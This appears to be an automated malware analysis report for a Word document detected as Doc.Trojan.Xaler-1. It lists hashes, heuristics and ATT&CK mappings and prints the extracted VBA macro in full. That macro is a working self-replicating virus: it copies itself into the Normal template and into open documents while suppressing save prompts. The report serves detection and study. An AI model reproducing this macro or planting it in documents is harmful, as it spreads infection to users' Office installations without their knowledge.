Office (OLE) malware analysis — malicious · e474907ca6563672

MALICIOUS

Office (OLE)

118.0 KB Created: 2013-01-14 03:18:00 Authoring application: Microsoft Office Word First seen: 2017-03-23

MD5: 0a88f6e50d88a825b006837a274d0110 SHA-1: 7f6ee43112fd406c97f36a030e32a1dd9f4650b1 SHA-256: e474907ca65636724c62ad83c0d363b5f08eedad60c5f401274920736209577b

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, as indicated by the 'OLE_VBA_MACROS' and 'OLE_VBA_DOCOPEN' heuristics, and confirmed by ClamAV detection as 'Doc.Trojan.Xaler-1'. The 'Document_Open' macro executes 'GOODSub', which exports the current document's VBA project to 'C:\temp.tmp', reads it, and then attempts to insert this code into the Normal template and the active document. This behavior suggests an attempt to establish persistence or ensure the macro remains active. The macro also attempts to modify the document's binary content and save it, potentially to embed the malicious code more deeply.

Heuristics 3

ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Xaler-1
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
Call GOODSub
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2316 bytes
SHA-256: `dd2349517adba5aae21cbc8118d67e34acca8aa432f32454b55d8271ebda370c`
Detection ClamAV: Doc.Trojan.Xaler-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'RELAX Private Sub RELAX2() End End Sub Private Sub ComboBox1_Change() End Sub Private Sub Document_Close() Call GOODSub Call RELAX2 End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_Open() Call GOODSub End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.